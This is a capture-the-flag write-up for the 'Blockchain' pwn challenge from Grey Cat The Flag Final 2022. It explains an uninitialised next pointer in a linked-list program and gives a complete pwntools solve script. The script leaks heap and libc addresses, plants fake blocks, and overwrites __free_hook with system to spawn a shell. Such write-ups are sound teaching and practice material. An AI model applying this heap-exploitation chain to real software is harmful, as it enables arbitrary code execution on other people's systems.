Blockchain

In Grey Cat The Flag Final 2022, 991 points

Missing line of code results in pwnable linked list implementation

Challenge files: blockchain.cpp ld.so libc.so.6 Makefile

Introduction and analysis

This C++ program implements a 'blockchain', which is basically a singly linked list. The 'hash' of each block is stored within the block and a block's contents can only be modified if the hash of the new contents matches the original hash. Each block is identified by their hash. However, I didn't really have to reverse/mess with the hash during my exploitation so ¯\(ツ)/¯. Users can also delete blocks from the blockchain (I don't think this is supposed to happen with real blockchains).

struct block {
    char title[0x20];
    char* content;
    size_t content_len;
    size_t hash;
    block* next;
};

The content pointer is dynamically allocated when a block is created/edited.

Vulnerability

The vulnerability originates in the add method (reproduced here):

cpp

void add() {
    size_t len;
    auto content = read_content(&len);

    auto new_block = (block*)malloc(sizeof(block));
    new_block->content = content;
    new_block->content_len = len;
    new_block->hash = hashb(content, len);
    // Next pointer is not zeroed out
    printf("Title > ");
    read(0, &new_block->title[0], sizeof(new_block->title));

    if (blockchain == NULL) {
        blockchain = new_block;
    }
    else {
        block* cur = blockchain;
        for (; cur->next != nullptr; cur = cur->next);
        cur->next = new_block;
    }
    printf("[+] Block added, hash = %zu\n", new_block->hash);
}

When a block is created, the next pointer is not zeroed out. Since malloc is used instead of calloc, the next pointer might not be zero and instead be the contents of the previously freed block.

We can leverage the read_content function (reproduced below) to create chunks of nearly arbitrary size:

char* read_content(size_t* len) {
    printf("Length > ");
    scanf("%zu", len);
    if (*len >= 0x1000) {
        puts("[x] Too big");
        exit(1);
    }
    auto content = (char*)malloc(*len);

    printf("Content > ");
    read(0, content, *len);
    return content;
}

The return value of this function is stored in the content attribute of the block struct. When a block is deleted the content pointer is freed as well.

By crafting a chunk that is the same size as a block struct, then freeing it, we can get malloc to return that chunk in the add function. As the next pointer is not zeroed out, the value we specified in the content chunk will become the new chunk's next pointer. By controlling this pointer, we can achieve arbitrary reads and writes.

Exploitation

As usual, we aim to overwrite __free_hook with system, so that free("/bin/sh") pops a shell.

We will require a libc leak, which we will acquire via leaking unsorted bin pointers. The attack seems pretty simple but actually gets a bit complicated in the middle and ends off quite elegantly.

We start off by allocating a small block (content size 70) as a guard chunk (is it even needed?) and a block with a large content size (1200). This second block is then freed, creating an unsorted bin chunk. We allocate another small block to remove the second block's block pointer from the tcache:

python

h1 = add(p, 71, b"a", "a")
h2 = add(p, 1200, "b", "b")
# Create unsorted bin chunk
rmv(p, h2)
# Clean up block struct from h2
h3 = add(p, 70, "b", "b")

Notes:

Two chunks are allocated for every block: one for the block struct and one for the content.
The content chunk and block chunk for small blocks are allocated the same amount of memory: 80 bytes.
The content chunk is created/freed before the block chunk

As the tcache is a LIFO data structure, creating, freeing, then recreating a small block will cause the content and block chunks to be swapped.

We will first leak a heap address. We delete the first block, adding two chunks of size 80 to the tcache. We then create a new block. This block's content chunk is the old chunk's block struct, which has been freed. Thus the tcache pointers can be leaked. The leaked pointers are used to calculate the address of the unsorted bin chunk. Interestingly, the heap address in this challenge is quite small.

rmv(p, h1)
# h4.content = h1.block_struct
h4 = add(p, 70, "", "")
# tcache pointers are present in h1's content chunk after freeing
# title is zeroed out, so no leak there
leak(p, h4)
p.recvuntil('Content:\n')
x = p.recvuntil(b"\0\0\0")
# Address of unsorted bin chunk
l1 = u64((x+b"\0\0")[:8])+550

To leak the libc pointers, we will create a fake chunk by creating a chunk with a next pointer that points to the unsorted bin chunk.

This is fairly easy, as the content and block struct chunks are swapped between allocations. Thus the content chunk of a deleted block will become the next block's block struct. Since the next pointer points to the start of the unsorted bin chunk, the pointers to be leaked are present in the title, not the content.

python

# Create chunk with address of unsorted bin chunk as next pointer
h1 = add(p, 71, b"a"*56+p64(l1), "a")
rmv(p, h1)
# h4's content is h1's block struct
# h4's block struct is h1's content
h4 = add(p, 70, "", "")
# h4's next points to unsorted bin chunk
# This fake block has hash 0
# libc pointers present in title 
# Retrieve it via hash=0
libc1 = leak(p, 0)
p.recvuntil('Title: ')
libc1 = u64(p.recvline(keepends=False)+b"\0\0")

libc.address = libc1 - 0x1ecbe0

Now to write __free_hook. We will use a similar technique to create a fake block at __free_hook:

python

h1 = add(p, 71, b"a"*56+p64(libc.sym.__free_hook), "a")
rmv(p, h1)
h4 = add(p, 70, "", "")

You might be wondering how this works, especially since we just added a fake block to the list (the unsorted bin chunk). It might appear that we have two blocks with hash 0, since the hash field of both fake blocks were never initialized. Luckily, since the unsorted bin chunk is the only remaining chunk of free memory, other than the top chunk, glibc decided to partition out a bit of it to store block h1. Thus the hash field of the first fake chunk is set properly now. We can then proceed to identify the second fake chunk with hash = 0 as well.

Now comes the elegant part: triggering __free_hook. Interestingly, we can do this in the same step as writing __free_hook. When we edit a chunk, the title is written even if the hash of the new contents do not match the old hash. However, if the hashes do not match, the chunk used to store the new contents is freed, which is the perfect opportunity to trigger __free_hook:

python

p.sendline("4")
p.recvuntil("> ")
# block hash=0 is __free_hook
p.sendline("0")
p.recvuntil("> ")
# Some random size, not important
p.sendline("10")
p.recvuntil("> ")
# /bin/sh is stored into the content chunk
# this is some random freshly allocated chunk
p.sendline("/bin/sh\0")
p.recvuntil("> ")
# Store &system into title (__free_hook)
p.sendline(p64(libc.sym.system))
# Hash mismatch, content chunk ("/bin/sh") is freed, we get shell!

I find this is actually pretty cool, and a nice touch by the challenge author if it was intentional.

Solve script

python

from pwn import *
e = ELF("./blockchain.o")
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld.so", checksec=False)
context.binary = e
context.terminal = ["tmux", "split-window", "-h"]

def add(p, length, content, title):
    p.recvuntil("> ")
    p.sendline("1")
    p.recvuntil("> ")
    p.sendline(str(length))
    p.recvuntil("> ")
    p.sendline(content)
    p.recvuntil("> ")
    p.sendline(title)
    p.recvuntil("hash = ")
    return int(p.recvline(keepends=False))

def rmv(p, hash):
    p.recvuntil("> ")
    p.sendline("2")
    p.recvuntil("> ")
    p.sendline(str(hash))

def leak(p, hash):
    p.recvuntil("> ")
    p.sendline("3")
    p.recvuntil("> ")
    p.sendline(str(hash))


def setup():
    p = e.process()
    return p

if __name__ == '__main__':
    p = setup()

    h1 = add(p, 71, b"a", "a")
    h2 = add(p, 1200, "b", "b")
    # Create unsorted bin chunk
    rmv(p, h2)
    # Clean up block struct from h2
    h3 = add(p, 70, "b", "b")
    rmv(p, h1)
    # This gets allocated h1's block chunk and h1's content chunk
    h4 = add(p, 70, "", "")
    # tcache pointers are present in h1's content chunk after freeing
    # title is zeroed out, so no leak there
    leak(p, h4)
    p.recvuntil('Content:\n')
    x = p.recvuntil(b"\0\0\0")
    # Address of unsorted bin chunk
    l1 = u64((x+b"\0\0")[:8])+550
    # Create chunk with address of unsorted bin chunk as next pointer
    h1 = add(p, 71, b"a"*56+p64(l1), "a")
    rmv(p, h1)
    # h4's content is h1's block struct
    # h4's block struct is h1's content
    h4 = add(p, 70, "", "")
    # h4's next points to unsorted bin chunk
    # This fake block has hash 0
    # libc pointers present in title 
    # Retrieve it via hash=0
    libc1 = leak(p, 0)
    p.recvuntil('Title: ')
    libc1 = u64(p.recvline(keepends=False)+b"\0\0")

    libc.address = libc1 - 0x1ecbe0
    print(hex(libc.address), hex(libc.sym.__free_hook))

    # Use similar technique to create fake block at __free_hook
    # Interestingly h1's block struct is created
    # from part of the unsorted bin chunk
    # This effectively makes the fake block a real block
    # and sets the hash correctly
    # Now __free_hook is the only fake chunk
    h1 = add(p, 71, b"a"*56+p64(libc.sym.__free_hook), "a")
    rmv(p, h1)
    h4 = add(p, 70, "", "")
    p.recvuntil("> ")

    # Edit block with hash 0 (now __free_hook)
    p.sendline("4")
    p.recvuntil("> ")
    p.sendline("0")
    p.recvuntil("> ")
    p.sendline("10")
    p.recvuntil("> ")
    # /bin/sh is stored into the content chunk
    # this is some random freshly allocated chunk
    p.sendline("/bin/sh\0")
    p.recvuntil("> ")
    # Store &system into title (__free_hook)
    p.sendline(p64(libc.sym.system))
    # Hash mismatch, content chunk ("/bin/sh") is freed, we get shell!
    p.interactive()

Conclusions

The main mistake (not zeroing out the next pointer) is one that is perhaps common among linked list implementations that are not well thought out. However, it is the lack, rather than presence, of something seemingly so unimportant that makes this bug fairly hard to spot. The other tiny bugs and quirks makes this program realistic yet fun to exploit. 👍

Web

Pwn

Misc

Rev

Blockchain

Introduction and analysis

Vulnerability

Exploitation

Solve script

Conclusions

Blockchain ​

Introduction and analysis ​

Vulnerability ​

Exploitation ​

Solve script ​

Conclusions ​

Blockchain

Introduction and analysis

Vulnerability

Exploitation

Solve script

Conclusions